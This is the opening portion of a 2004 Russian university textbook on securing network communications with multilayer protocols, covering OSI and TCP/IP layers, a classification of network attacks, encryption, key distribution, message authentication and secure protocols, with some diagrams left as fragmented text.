445.организация защищенных взаимодействии в сетях на основе многоуровневых протоколов учебное пособие

1

В.А. Курчидис И.И.Косолапов А.С.Назанский С.А.Рыльков

ОРГАНИЗАЦИЯ ЗАЩИЩЕННЫХ ВЗАИМОДЕЙСТВИЙ В СЕТЯХ

НА ОСНОВЕ МНОГОУРОВНЕВЫХ ПРОТОКОЛОВ

Copyright ОАО «ЦКБ «БИБКОМ» & ООО «Aгентство Kнига-Cервис»

2

Министерство образования и науки Российской Федера-ции

Ярославский государственный университет им. П.Г. Демидова

В.А. Курчидис И.И.Косолапов А.С.Назанский С.А.Рыльков

ОРГАНИЗАЦИЯ ЗАЩИЩЕННЫХ ВЗАИМОДЕЙСТВИЙ В СЕТЯХ

НА ОСНОВЕ МНОГОУРОВНЕВЫХ ПРОТОКОЛОВ

Учебное пособие


3

Ярославль 2004


4

ББК 379 я 73 К 93 УДК 004.072:004.056

Курчидис В.А., Косолапов И.И., Назанский А.С., Рыльков С.А. Организация защищенных взаимодействий в сетях на осно-ве многоуровневых протоколов: Учеб. пособие / Яросл. гос. ун-т. Ярославль, 2004. 113 с. ISBN 5-8397-

Излагается довольно обширный по охвату материал, позволяю-

щий получить современное представление о методах и средствах за-щиты взаимодействий через открытые сети (в основном, через сеть Internet). Все вопросы рассматриваются с единых методологических позиций, при этом в качестве основного ориентира выступает много-уровневая модель взаимодействия открытых систем OSI.

Проводится обсуждение способов проведения пассивных и ак-тивных атак в IP-сетях, а также основных средств защиты от них на основе безопасных протоколов и межсетевого экранирования. Изло-жение материала сопровождается примерами практического исполь-зования таких средств.

Предназначается для студентов технических и математических специальностей, изучающих соответствующие дисциплины по сете-вым технологиям, а также для тех пользователей и специалистов, которые намерены самостоятельно освоить область интеграции средств сетевой безопасности в современных корпоративных систе-мах.

Ил. 32. Библиогр.: 19 назв.

Рецензенты: Печатается при федей целевой. контракт № 1/00) ISBN 5-8397- © Ярославский

государственный университет, 2004 © В.А. Курчидис, И.И. Косолапов, А.С. Назанский,


5

С.А. Рыльков, 2004


6

ВВЕДЕНИЕ

Бурное развитие и распространение компьютерных и сетевых технологий приводит к повсеместному переходу корпоративных пользователей от применения выделенных каналов к публичным се-тям (frame relay, Internet). Однако поставщики услуг публичных сетей пока редко обеспечивают защиту пользовательских данных при их транспортировке по своим магистралям, возлагая решение вопросов сетевой безопасности на пользователей. Сетевая безопасность включает комплекс вопросов и проблем, связанных с защитой информационных взаимодействий любых ком-понентов (локальных сетей, отдельных компьютеров, терминалов и т.п.) через открытые сети. Это определяет специфику задач сетевой безопасности, которые образуют два больших класса: - защита информации в процессе передачи по открытым кана-лам связи; - защита компонентов пользовательской сети (локальных сетей и отдельных компьютеров корпоративной сети) от несанкционирован-ных действий со стороны внешней среды. Решение приведенных задач направлено на обеспечение конфи-денциальности, целостности и доступности данных, циркулирующих в сетевых системах. Для практического решения этих задач не суще-ствует какого-либо одного универсального технического приема или средства. Разнообразие используемых технологий, протоколов, стан-дартов сетевой безопасности предъявляет высокие требования к уровню кругозора соответствующих специалистов. В данном учебном пособии в доступной форме излагается до-вольно обширный по охвату материал, позволяющий получить со-временное представление о методах и средствах защиты взаимодей-ствий через от-крытые сети (в основном, через сеть Internet). Все вопросы рассматриваются с единых методологических позиций, при этом в качестве основ-ного ориентира выступает многоуровневая модель взаимодействия открытых систем OSI. В разделе 1 рассматриваются общие вопросы протокольного взаимодействия в компьютерных сетях и приводится классификация инфор-мационных атак. В разделе 2 приводится изложение основных методов и средств, используемых для защиты взаимодействий в сетях. Здесь же пред-ставлен широкий спектр безопасных протоколов разного уровня и в


7

связи с этим разъясняется понятие виртуальных защищенных кана-лов и сетей. В разделах 3 и 4 проводится обсуждение способов проведения в IP-сетях пассивных и активных атак наиболее распространенных ви-дов. Изложение этих вопросов сопровождается примерами про-граммной реа-лизации таких атак, что дает возможность разобрать целый ряд полезных деталей. В разделах 5 и 6 описываются основные средства защиты про-токолов IPSec и SSL соответственно и приводятся примеры их прак-тического использования. В разделе 7 разъясняется логика функционирования межсетевых экранов (брандмауэров) третьего уровня, поддерживающих безопас-ность информационного взаимодействия на основе пакетной фильт-рации потока сообщений. Приводится пример реализации простого персонального брандмауэра. Все приведенные примеры подготовлены и проверены на ком-пьютерах стандартной конфигурации, функционирующих под управ-лением ОС Windows 2000 Pro. При этом никаких специальных требо-ваний к конфигурации компьютеров не предъявляется. Изложение материала ведется на определенном уровне абстрак-ции, что не требует от читателя специальных технических знаний и навыков. В то же время для изучения материала требуется хорошее понимание модели многоуровневых протоколов, архитектуры ком-пьютерных сетей и структуры стека TCP/IP. Предполагается также, что читатель знаком с клиент-серверными схемами взаимодействия и обладает определенным опытом программирования сетевых взаи-модействий в среде Delphi . В этом плане определенным ориентиром может служить материал, изложенный в учебных пособиях [3 – 6]. В основу учебного пособия положен многолетний опыт прове-дения занятий на факультете информатики и вычислительной техни-ки Ярославского государственного университета им. П. Г. Демидова для студентов, обучающихся по специальности «прикладная матема-тика и информатика». Учебное пособие в основном предназначено для студентов и аспирантов математических и технических специальностей, осваи-вающих сетевые компьютерные технологии и средства самостоя-тельно либо в рамках соответствующих учебных дисциплин. В то же время материал пособия может быть полезен для технических спе-циалистов и пользователей, которые, имея устойчивое представле-ние о работе компьютерных сетей, намерены самостоятельно освоить


8

область интеграции средств сетевой безопасности в современных корпоративных системах.


9

1. МНОГОУРОВНЕВЫЕ ПРОТОКОЛЫ СЕТЕВОГО ВЗАИМОДЕЙСТВИЯ

И УГРОЗЫ ИНФОРМАЦИОННЫХ АТАК

Многоуровневые протоколы – основа сетевых взаимодействий

Компьютерную сеть можно рассматривать как распределенную

систему, в которой организуется взаимодействие между компонента-ми для обеспечения определенного движения потоков данных. Соб-ственно взаимодействие между компонентами в компьютерной сети осуществляется с помощью протоколов. Протоколы специфицируют процедуры, которые выполняются на взаимодействующих компо-нентах сети и основаны на взаимообмене данными, форматирован-ными определенным образом.

Все взаимодействия в компьютерных сетях реализуются на ос-нове многоуровневых протоколов, которые, как правило, организу-ются в виде стека протоколов. При таком подходе производится де-композиция сложного процесса коммуникационного взаимодействия на составляющие протокольные части (уровни). При этом одним из ориентиров является эталонная модель OSI взаимодействия откры-тых систем (BOC), в которой в качестве рекомендуемого стандарта предлагается использовать семь протокольных уровней:

1 – физический уровень; 2 – канальный уровень; 3 – сетевой уровень; 4 – транспортный уровень; 5 – сеансовый уровень; 6 – представительный уровень; 7 – прикладной уровень. Следует отметить, что имеется целый ряд оснований, которые

приводят к протоколам с числом уровней менее семи. Так, распро-страненный протокол TCP/IP, являющийся основой построения со-временных сетей типа internet, содержит в своем стеке четыре уровня, что отражено в таблице 1.1. В этой же таблице приводится соответ-ствие уровней протокола ТCP/IP cемиуровневой модели OSI.

Стержнем всего стека протоколов TCP/IP является уровень меж-сетевого взаимодействия, который определяет IP-пакет как основную единицу передаваемых данных, перемещаемую по сети. Этот уровень


10

называют также уровнем internet, подчеркивая одну из основных его функций – передачу данных через составную сеть. Таблица 1.1

Уровни OSI

Уровни стека

TCP/IP

Название уровня в стеке TCP/IP

Уровневые протоко-лы cтека TCP/IP

7 IV Прикладной

уровень HTTP, FTP,SMTP и другие 6

5 III Транспортный

уровень TCP,UDP 4

3 II

Уровень межсе-тевого взаимо-действия

IP, ICMP, ARP и другие 2

2 I Уровень сетевых

интерфейсов

Не регламентируется (Ethernet, Тoken Ring, PPP и другие) 1

Уровни ниже сетевого в стеке TCP/IP не регламентируются. В то

же время в стеке TCP/IP предусмотрен уровень сетевых интерфейсов, который определяет средства инкапсуляции IP-пакетов в кадры ка-нального уровня локальных технологий таких, как Ethernet, Token Ring и другие.

Транспортный уровень стека TCP/IP представлен двумя прото-колами взаимодействия TCP и UDP и соответствует уровням 4 и 5 модели OSI.

Прикладной уровень стека TCP/IP объединяет средства, предос-тавляемые сетевым приложениям пользователей. Этот уровень пред-ставлен многочисленными прикладными протоколами (HTTP, SMTP, FTP, Telnet и другие), которые являются основой построения боль-шого числа сетевых служб Internet: WWW-службы, почтовой служ-бы, службы передачи файлов и т. д. Эти службы реализуются про-граммными системами, построенными в архитектуре клиент-сервер, и базируются на протоколах трех нижних уровней стека TCP/IP.


11

1.2. Протокольное взаимодействие в сетях При взаимодействии прикладных систем информация, перено-

симая по сети из приложения, установленного на компьютере А, в приложение на другом компьютере В, должна пройти вне систем А и В пользователей через несколько уровней соответствующего стека протоколов коммутационного оборудования (маршрутизаторов, ком-мутаторов и т. п.), расположенного в узлах коммутации сети. На рис.1.1 для примера показано продвижение информации в стеке про-токолов TCP/IP в различных компонентах сети при взаимодействии двух прикладных систем А и В через маршрутизатор М.

Сетевы хинтерфейсов

М арш рутизатор

А ВУровнистек а T CP/IP

Прик ладной

Транспортны й

М ежсетевоговзаимодействия

Среда передачи

М

Рис. 1.1

При движении данных в компонентах сети вниз вдоль стека про-токолов происходит инкапсуляция всей информации верхних уров-ней в поле данных нижних уровней (рис.1.2).


12

Прикладной уровень

Транспортный уровень

Заголовок прикладногопротокола

ЗаголовокTCP-протокола

ЗаголовокIP-протокола

Уровень межсетевого взаимодействия

Заголовок Уровень сетевого интерфейса

Данные

Данные

Данные

Данные

HTTP, FTP

TCP, UDP

IP-пакет

Кадр Ethernet,Token Ringи другие

и другие

Рис. 1.2 При движении по стеку вверх имеет место обратное действие –

извлечение информации верхних уровней из поля данных нижних уровней.

Таким образом, при транспортировке данных по сети вся прото-кольная информация верхних уровней может быть извлечена из ин-формации нижних уровней вне прикладных систем пользователей, например, путем доступа к среде передачи либо к внешним сетевым компонентам (коммутаторам, маршрутизаторам и т. п.). Это делает для злоумышленников привлекательным и довольно распространен-ным видом информационных атак нападения на сообщения, переда-ваемые с помощью протоколов сетевого взаимодействия [2].

В значительной степени этому способствует то обстоятельство, что большинство используемых протоколов, в том числе широко распространенный протокол IP версии 4 (IPv4), не содержат встроен-ных функций защиты. В них не предусматривается криптографиче-ское закрытие передаваемых данных, контроль их подлинности, а также аутентификация участников обмена. Передаваемые в таких протоколах данные доступны для анализа и их возможно подделать, используя разнообразные угрозы нападения и атаки.


13

1.3. Классификация атак на сетевые сообщения

Основные виды атак Под атакой (нападением) на сетевое сообщение называют всякое

действие, которое направлено на нарушение конфиденциальности, целостности и/или доступности информации, содержащейся в пере-даваемых по сети сообщениях, а также на нелегальное ее использова-ние.

При отсутствии атак информационное взаимодействие меду двумя оконечными системами порождает нормальный поток инфор-мации по сети от системы-источника в направлении адресата (рис. 1.3,а). Проведение атак на сетевые сообщения может приводить к нарушениям нормального потока. На рисунках 1.3,б-д иллюстриру-ются четыре вида наиболее распространенных типов атак. Ниже да-ется краткая характеристика этих видов атак.

Р а з ъ е д и н е н и е. Передаваемая информация уничтожается, становится недоступной или непригодной к использованию. При этом нарушается свойство доступности информации. Примерами та-кого типа атак могут служить: вывод из строя оборудования (напри-мер, маршрутизатора), обрыв линии связи и т.п.

Источникинформации

Адресатинформации

а) нормальны й поток

б) разъединение в) перехват

г) модификация д) фальсификация

Рис. 1.3


14

П е р е х в а т. Осуществляется несанкционированный доступ к

передаваемой информации. При этом нарушается свойство конфи-денциальности информации. Получившим несанкционированный доступ нарушителем может быть физическое лицо, программа или компьютер. Примером такого типа нападений является подключение к кабелю связи для перехвата данных с целью их незаконного копи-рования и последующего анализа.

М о д и ф и к а ц и я. Осуществляется не только несанкциониро-ванный доступ, но также изменение содержимого передаваемого по сети сообщения. При этом нарушается свойство целостности инфор-мации.

Ф а л ь с и ф и к а ц и я. Примерами такого типа нарушений мо-гут служить отправка поддельных сообщений по сети. При этом на-рушается свойство аутентичности информации.

Пассивные атаки

Пассивные атаки носят характер перехвата или мониторинга пе-редаваемых данных. Целью нарушителя в этом случае является полу-чение передаваемой информации. Пассивные нарушения можно ус-ловно разделить на две группы: раскрытие содержимого сообщений и анализ потока данных.

Раскрытие содержимого сообщений предполагает доступ нару-шителя к передаваемым данным (прослушивание сообщений). Одна-ко при соответствующей маскировке содержимого сообщений (в ча-стности, путем их шифрования) нарушитель, даже получив сообще-ние в своё распоряжение, может не иметь возможности извлечь содержащуюся в нем информацию. В таком случае нарушитель мо-жет организовать выполнение анализа потока данных, наблюдая ха-рактерные признаки передаваемых сообщений. Например, можно обнаружить и идентифицировать отправителя и используемые для отправки сообщений узлы, выяснить частоту обмена сообщениями и их длину. Такая информация может оказаться весьма полезной при попытках определить причины и суть наблюдаемого обмена данны-ми.

Пассивные атаки обнаружить довольно трудно, поскольку они не предполагают каких-либо изменений данных. Но нападения такого типа вполне реально предотвратить.


15

Активные атаки

Активные атаки направлены на изменение содержимого сооб-щений либо на создание фальшивых потоков сообщений в сети и могут быть разделены на четыре группы: имитация, воспроизведение, модификация сообщений и помехи в обслуживании.

И м и т а ц и я означает попытку одного компонента в сети вы-дать себя за другой. Обычно имитация выполняется вместе с попыт-кой активного нарушения какого-нибудь другого типа. Например, перехватив поток данных аутентификации, которыми обмениваются системы по определенному протоколу, нарушитель может затем вос-произвести реальную последовательность сообщений аутентифика-ции, что позволяет компоненту с ограниченными полномочиями расширить свои полномочия, имитируя компонент с более широкими полномочиями.

В о с п р о и з в е д е н и е представляет собой пассивный пере-хват блока данных и последующую ретрансляцию перехваченных данных с целью получения несанкционированного эффекта.

М о д и ф и к а ц и я сообщений означает либо изменение части легитимного сообщения, либо его задержку, либо изменение порядка поступления сообщений.

П о м е х и в о б с л у ж и в а н и и (блокирование сервиса) соз-дают препятствия для нормального функционирования средств связи или управления ими. Такие нападения могут иметь вполне конкрет-ную цель, например, нарушитель может задерживать все сообщения, направленные определенному адресату. Другим примером является блокирование работы всей сети путем вывода сети из строя либо преднамеренной ее перегрузкой интенсивным потоком сообщений, заметно снижающим пропускную способность компонентов и сети в целом.

Если пассивные нарушения трудно обнаружить, но существуют методы защиты и защищенные протоколы, позволяющие их предот-вратить, то активные нарушения полностью предотвратить очень сложно, поскольку это требует непрерывной физической защиты всех сетевых компонентов и средств связи.


16

Вопросы к разделу 1 1. Какие службы сильнее нагружают сеть: ориентированные на

поддержание соединений (TCP) или не требующие подтвер-ждения соединений (UDP)?

2. Какой уровень в стеке протоколов TCP/IP отвечает за выбор маршрута в объединенной сети?

3. К какому виду относятся сети, работающие по протоколу TCP/IP: с коммутацией пакетов или без коммутации пакетов?

4. В чем состоит отличие задач, решаемых протоколами TCP/IP в локальных и глобальных сетях?

5. Какие из приведенных протоколов относятся к стеку TCP/IP: ICMP, IPX, NetBIOS, UDP, PLP, ARP, SMTP, NCP, FTP, LABP?

6. Почему наличие удаленного доступа и других случаев ис-пользования глобальных связей делают систему более уяз-вимой?

7. Приведите примеры атак, нарушающих конфиденциальность и целостность сетевых сообщений.


17

2. МЕТОДЫ И СРЕДСТВА ЗАЩИТЫ ОТ АТАК НА СЕТЕВЫЕ СООБЩЕНИЯ

2.1. Использование средств шифрования в сетях Одним из наиболее важных и распространенных средств сетевой

защиты является криптографическая защита, которая основана на шифровании передаваемых сообщений.

Широко используются два вида шифрования [11,13]: традиционное шифрование, называемое также симметричным

шифрованием, шифрованием с секретным ключом, шифрованием с одним ключом;

шифрование с открытым ключом, иначе называемое асиммет-ричным шифрованием.

Симметричное шифрование Обобщенная схема системы, обеспечивающей криптографиче-

скую защиту передаваемых сообщений на основе принципа симмет-ричного шифрования, приведена на рис. 2.1. В этой системе отправи-тель А сообщений и получатель В располагают одним и тем же сек-ретным ключом КАВ , который они должны сохранять в тайне.

Система А

(отправитель)Система В

(получатель)

Передача по сети

Дешифрование

Cообщение М

Cообщение С

КлючК АВ

D

Ш ифрование



КлючК АВ

Е

К АВ M, ( )

К АВ M, ( )

Рис. 2.1

Отправитель А шифрует исходное сообщение М с помощью оп-

ределенного алгоритма шифрования Е и полученное зашифрованное сообщение С = Е (М, КАВ) посылает стороне В по открытой сети.


18

На стороне получателя принятое сообщение С расшифровывает-ся с помощью алгоритма D, который реализует обратное преобразо-вание D = E – 1, и в результате восстанавливается исходное сообщение М:

М=D (C, КАВ). Преобразования Е и D относятся к классу криптографических

преобразований, называемых криптоалгоритмами. Наиболее извест-ными алгоритмами традиционной схемы шифрования являются блочные шифры DES (Data Enсryption Standart) и TDEA (Triple Data Enсryption Algoritm) [11,13,14].

В симметричных системах в качестве одной из основных следу-ет указать проблему надежного распространения секретного ключа получателям передаваемых сообщений. Проблема с ключами возни-кает даже в системе с двумя пользователями, а в сетевой системе с n пользователями, взаимодействующими по принципу «каждый с каж-дым», требуется n∗(n-1)/2 ключей, которые должны быть сгенериро-ваны и распределены надежным образом, что при большом числе пользователей делает задачу довольно сложной и ответственной. Не-симметричные алгоритмы шифрования, основанные на использова-нии открытых ключей, снимают эту проблему.

Несимметричное шифрование В системе с несимметричным шифрованием (рис. 2.2) получа-

тель В генерирует на своей стороне два ключа: открытый qB и закры-тый (секретный) QB. Закрытый ключ QB получатель должен сохранять в тайне, а открытый ключ получатель передает всем пользователям, от которых к нему приходят зашифрованные сообщения.

Отправитель А использует открытый ключ q B для шифрования исходного сообщения М в сообщение С = Е (М, qB), передаваемое по сети. Получатель расшифровывает принятое сообщение С своим закрытым ключом QB: М = D (C, QB).

Преобразования Е и D в этой системе определяются соответст-ву-ющими алгоритмами шифрования. В схемах шифрования с откры-тым ключом наиболее популярны алгоритмы RSA (Rivest, Shamir, Adleman) и Диффи-Хеллмана [11,13].

Для того, чтобы в сети все n пользователей имели возможность не только принимать зашифрованные сообщения, но и сами посылать таковые, каждый абонент должен обладать своей собственной парой ключей q и Q. Тогда всего в сети будет использоваться 2n ключей: n


19

открытых ключей для шифрования и n закрытых (секретных) ключей для дешифрования. При этом отпадает проблема секретной доставки ключей в сети, ибо владение открытым ключом не дает возможности расшифровать сообщение или вычислить закрытый ключ.

Система А

(отправитель)Система В

(получатель)


Сообщение С

Шифрование

Открытый

Деш иф р ование

ключ

Закрытыйключ



Генераторключей

D (C, QB)

QB

Передачапо сети

Рис. 2.2

Однако информацию об открытом ключе нужно защищать от

подлогов, чтобы злоумышленник под именем легального пользовате-ля не навязал свой открытый ключ. Иначе с помощью своего закры-того ключа он сможет расшифровать все сообщения, посылаемые легальному пользователю, и отправлять свои сообщения от его име-ни. Одним из распространенных решений этой проблемы является технология цифровых сертификатов – специальных электронных до-кументов, связывающих конкретного пользователя с конкретным ключом.

Средства канального и сквозного шифрования

При канальном шифровании каждый уязвимый канал оборуду-ется устройствами шифрования на обоих концах. Таким образом, весь поток данных в канале оказывается защищённым. Однако для этого в большой сети потребуется немалое количество устройств ка-нального шифрования, равное 2n, где n – число каналов связи в сети. Один из недостатков канального шифрования состоит в том, что со-общение должно дешифровываться каждый раз, когда оно проходит через оборудование узлов коммутации пакетов (коммутатор, мар-


20

шрутизатор), в котором производится чтение и анализ адреса (номера виртуального канала) в заголовке пакета с тем, чтобы направить па-кет нужному адресату. Поэтому сооб щение оказывается уязвимым в каждом узле коммутации. При ис-пользовании общедоступных сетей с коммутацией пакетов пользова-тель не имеет никакой возможности контролировать безопасность соответствующих узлов коммутации.

При сквозном шифровании процесс шифрования выполняется только в двух конечных системах. Исходные данные шифруются в узле или терминале источника. Затем данные в шифрованном виде передаются без изменений через всю сеть к терминалу или к узлу адресата. Адресат использует тот же ключ, что и отправитель, и по-этому может дешифровать полученные данные. Эта схема кажется безопасной с точки зрения защиты от воздействий в канале связи или узлах коммутации пакетов, тем не менее у такого подхода есть слабое место.

В схеме сквозного шифрования узел-источник может шифровать только ту часть пакета, которая содержит данные пользователя, и оставить нетронутым заголовок. В противном случае никакой узел коммутации, получив полностью зашифрованный пакет, не сможет прочитать его заголовок и потому не сумеет переслать пакет дальше. Таим образом, защищенными оказываются только данные пользова-теля, чего нельзя сказать о всем потоке сообщений, поскольку заго-ловки пакетов передаются в открытом виде.

Чтобы достичь более высокого уровня защищённости, необхо-дима комбинация канального и сквозного шифрования, например, как показано на рисунке 2.3.


21

УКП

УКП

УКП

Сеть с коммутацией

пакетов

- устройство сквозного шифрования

- устройство канального шифрования

УКП

УКП - узел коммутации пакетов

Рис. 2.3

При использовании обеих форм шифрования узел-источник шифрует порцию пакета данных пользователя, используя ключ сквозного шифрования. При движении пакета по сети каждый узел коммутации пакетов сначала дешифрует пакет с применением ключа шифрования соответствующего канала, чтобы прочитать заголовок, а затем снова шифрует весь пакет для передачи его по следующему каналу. Теперь весь пакет защищён почти всё время – за исключени-ем времени, когда он находится на обработке в узле коммутации, где заголовок пакета оказывается открытым.

Средства распределения ключей

При традиционном (симметричном) шифровании обе участвую-щие в обмене данными стороны должны получить общий ключ, к которому другие пользователи доступа иметь не должны. Поскольку из соображений безопасности ключи приходится довольно часто ме-нять, то очевидно, что надежность любой криптографической систе-мы во многом зависит от системы распределения ключей, обеспечи-вающей средства доставки ключей взаимодействующим сторонам и гарантирующей сохранение этих ключей в тайне от других. Для двух сторон, А и В, распределение ключей можно организовать разными способами.


22

1. Ключ может быть выбран стороной А и физически доставлен стороне В.

2. Ключ может выбрать третья сторона и физически доставить его сторонам А и В.

3. Если стороны А и В уже используют некоторый общий ключ, одна из сторон может передать новый ключ второй стороне в шифро-ванном виде, используя старый ключ.

4. Если обе стороны А и В имеют защищенные шифрованием каналы связи с третьей стороной С, то последняя может доставить ключ участникам А и В по этим защищенным каналам.

Варианты 1 и 2 предполагают передачу ключа из рук в руки. При канальном шифровании это требование может оказаться вполне ра-зумным, поскольку любое устройство канального шифрования пред-полагает обмен данными только с соответствующим устройством на другом конце канала. При сквозном шифровании физическая достав-ка ключа практически неприемлема. В любой распределенной систе-ме каждый узел может участвовать в обмене данными со многими узлами, поэтому каждому такому устройству потребуется множество ключей, которые придется поставлять динамично. Проблема оказы-вается весьма трудной для решения, особенно в больших глобально распределенных системах.

Способ 3 применяется как для канального шифрования, так и сквозного, но если злоумышленнику когда-либо удастся получить доступ к одному из ключей, то он сможет получить и все последую-щие. Даже если ключи канального шифрования необходимо менять часто, все равно это следует делать вручную.

Для доставки ключей сквозного шифрования наиболее предпоч-тительным оказывается вариант 4.

В отличие от традиционной схемы шифрования главной особен-ностью схемы шифрования с открытым ключом является тот факт, что открытый ключ доступен для всех пользователей сети. Таким образом, любая из сторон может послать свой открытый ключ любой другой стороне или открыть этот ключ всем, опубликовав его. Такой подход к распространению открытых ключей в сетях удобен, но он имеет большой недостаток: публикацию может фальсифицировать любой злоумышленник. Это значит, что некто может объявить себя стороной А и, разослав другим сторонам (либо опубликовав) свой открытый ключ, читать весь шифрованный поток данных, направ-ляемый стороне А, а также использовать фальсифицированные клю-чи для аутентификации своих сообщений.


23

Описанная проблема решается с помощью сертификатов откры-тых ключей. Такой сертификат состоит из открытого ключа и иден-тификатора владельца этого ключа и подписывается третьей сторо-ной, в качестве которой выступает доверенный центр сертификации (Certificate Authority – CA). Пользователь может доставить свой от-крытый ключ в доверенный центр некоторым защищенным образом и, получив соответствующий сертификат, опубликовать его. Теперь всякий пользователь этого открытого ключа может получить серти-фикат и убедиться в его подлинности, проверив присоединенную подпись доверенного центра с помощью открытого ключа этого цен-тра.

2.2. Методы аутентификации сообщений

Аутентификация, авторизация, идентификация Следует отметить, что криптографическая защита передаваемых

по сети сообщений не гарантирует их полной безопасности. Шифро-вание защищает от сетевых атак пассивной формы (перехват, под-слушивание), т.е. обеспечивает только конфиденциальность данных. Однако многие действия злоумышленников (повтор ранее переда-ваемых сообщений, задерживание или удаление сообщений), которые относятся к активным атакам, с точки зрения защиты от них требуют использования других средств. Защита от таких атак обеспечивается аутентификацией сообщений.

Говорят, что сообщение является аутентичным (т.е. подлинным), если оно в действительности получено из того источника, который объявлен в сообщении, и в точности соответствует тому набору дан-ных, которые из этого источника отправлялись. Аутентификация предотвращает доступ в сеть нежелательных пользователей, обеспе-чивая вход только для легальных пользователей.

Аутентификация сообщений представляет собой процедуру, обеспечивающую взаимодействующим сторонам возможность проверки аутентичности (подлинности) получаемых сообщений. В процедуре аутентификации, которая носит характер протоколь-ного взаимодействия, участвуют две стороны: одна сторона дока-зывает свою аутентичность, предъявляя некоторые свидетельства, а другая сторона (аутентификатор) проверяет эти доказательства и принимает решение. При этом широко используются разнообраз-ные способы шифрования данных.


24

Аутентификацию следует отличать от идентификации и автори-зации. Идентификация заключается в сообщении пользователем сис-теме-адресату своего идентификатора для опознавания. Под автори-зацией понимают определение прав доступа легальных пользовате-лей к ресурсам системы. В отличие от аутентификации, которая распознает легальных и нелегальных пользователей, средства автори-зации и идентификации имеют дело только с легальными пользова-телями, которые уже успешно прошли процедуру аутентификации. Таким образом, идентификация и авторизация, в отличие от аутенти-фикации, непосредственно не связаны с обеспечением информацион-ной безопасности сетевых взаимодействий.

Аутентификация сообщений с помощью шифрования

Аутентификацию сообщения можно выполнить с помощью обычного шифрования по традиционной схеме. Если предположить, что используемый совместно ключ знают лишь отправитель и полу-чатель (что на самом деле должно иметь место), то только истинный отправитель сможет зашифровать сообщение для соответствующего получателя. К тому же, если в сообщение включить код контроля ошибок и порядковый номер, то получатель будет уверен, что при-бывшее сообщение не было изменено и что источник прибывшего сообщения идентифицирован правильно. А если сообщение включает еще и штамп времени, получатель может быть уверен, что сообщение не было задержано на большее время, чем это допустимо для транзи-та данных в соответствующей сети.

Однако при таком подходе функции шифрования сообщений и их аутентификация жестко связаны и не могут применяться одна без другой. Поэтому получили распространение методы аутентификации сообщений, не привязанных к их шифрованию. В этих методах перед отправкой сообщения к нему присоединяется небольшой блок дан-ных определенного размера, генерируемый с помощью некоторого секретного ключа. Такой блок данных называют кодом (или тегом) аутентичности сообщения (КАС). При этом предполагается, что две участвующие в обмене данными стороны А и В используют общий секретный ключ КАВ.

Чтобы послать сообщение М адресату В, отправитель А вычис-ляет код аутентичности сообщения как функцию сообщения и ключа: КАСМ=F(KAB, М). Сообщение с добавленным к нему значением КАС пересылается адресату. Получатель выполняет аналогичные вычис-ления с пришедшим сообщением, используя тот же секретный ключ,


25

и получает свое значение КАС. Вычисленное значение КАС сравни-вается со значеним КАС, пришедшим вместе с сообщением (рис. 2.4).

Система А(отправитель)

Система В(получатель)

Передач а по сети

Сравнение


КлючК АВ

Сообщение КАС

КАС

Сообщение

Сообщение КАС


КлючК АВ

Рис. 2.4

Использование односторонней функции хэширования

Разновидностью изложенного метода аутентификации, связан-ного с использованием кодов аутентичности сообщений, является применение шифрования с помощью односторонней функции хэши-рования, называемой также хэш-функцией или дайджест-функцией. Эта функция Н, получая на вход сообщение М произвольной длины, на выходе выдает хэш-код Н(М), называемый также профилем сооб-щения, или дайджестом, который имеет некоторую фиксированную длину. Для аутентификации сообщения вместе с ним передается и его профиль (дайджест), определенным образом присоединяемый к со-общению.

Использование функций хэширования не требует секретного ключа, что позволяет выполнить аутентификацию сообщений без применения стандартных схем шифрования. Соответствующая тех-нология предполагает (рис. 2.5), что сообщающиеся стороны А и В имеют известное только им некоторое общее секретное значение S AB. Перед отсылкой сообщения М сторона А вычисляет функцию хэши-рования для получения соответствующего дайджеста MD (Message Digest)

MD = H (M || S AB),

где || - обозначение операции конкатенации (присоединения данных).


26

Система А(отправитель)

Система В(получатель)

Передача по сети

Сообщение

Н

M D

SАВ

Сообщ ение

MD

Н Сравнение

M DС ообщ ение

SАВ

Рис. 2.5

Затем дайджест MD вместе с сообщением М пересылается сто-

роне В. Поскольку сторона В имеет значение S AB, она также может произвести вычисление значения H (M || S AB) и проверить соответст-вие этого значения полученному по сети значению MD. Поскольку само секретное значение S AB по сети не пересылается, у злоумыш-ленника нет возможности модифицировать сообщение в случае его перехвата.

Описанный выше процесс аутентификации внешне подобен шифрованию. Принципиальное различие состоит в том, что шифро-вание является обратимым преобразованием, в то время как от одно-сторонней функции хэширования не требуется обратимости. Вслед-ствие этого аутентификация, основанная на таком подходе, оказыва-ется менее уязвимой в отношении взлома, нежели при использовании обычного шифрования. Кроме того, вычислительная сложность всех процедур, использующих односторонние хэш-функции, существенно меньше в сравнении с шифрованием.

Существует целый ряд других вариантов процессов аутентифи-кации сообщений, основанных на комбинировании процедур сим-метричного или несимметричного шифрования и односторонних хэш-функций [14]. Такие схемы оказываются предпочтительнее под-ходов, основанных на шифровании всего сообщения, поскольку предъявляют меньшие требования к вычислительным ресурсам сис-темы.

В настоящее время в системах аутентификации наиболее попу-лярной является серия хэш-функций MD2, MD4, MD5. Все они гене-


27

рируют дайджесты фиксированной длины 16 байт. Адаптированным вариантом MD4 является американский стандарт SHA (Secure Hash Algorithm), длина дайджеста в котором составляет 20 байт. Компания IBM под-держивает односторонние функции MDC2 и MDC4, основанные на алгоритме шифрования DES.

2.3. Использование безопасных протоколов

Безопасные протоколы и многоуровневая модель OSI Развитие вопросов организации защищенных взаимодействий в

сетях привело к созданию целого ряда безопасных протоколов. Сле-дуя концепции многоуровневой модели OSI, протокольные средства защиты располагают на разных уровнях, где эти средства выступают в качестве поставщика соответствующих сервисов (шифрование, ау-тентификация, проверка целостности сообщений и другие) для выше-стоящих уровней. Следует назвать ряд общепринятых безопасных протоколов, которые в сложившейся практике применяются на раз-личных уровнях:

на канальном уровне – протоколы PPTP, L2F, L2TP; на сетевом уровне – протоколы IPSec, ISAKMP, SKIP; на сеансовом уровне – протоколы SSL/TLS, SOCKS; на прикладном уровне – PGP, S/MIME, SET и другие. Чем ниже уровень эталонной модели, на котором реализуется

защита, тем она прозрачнее для приложений и незаметнее для поль-зователей. Однако при этом уменьшается набор предоставляемых услуг безопасности и усложняется организация управления защитой данных. Напротив, при повышении уровня протокола защиты стано-вится шире набор услуг безопасности, надежнее контроль доступа и упрощается конфигурирование системы защиты. Однако в этом слу-чае усиливается зависимость от используемых протоколов и прило-жений.

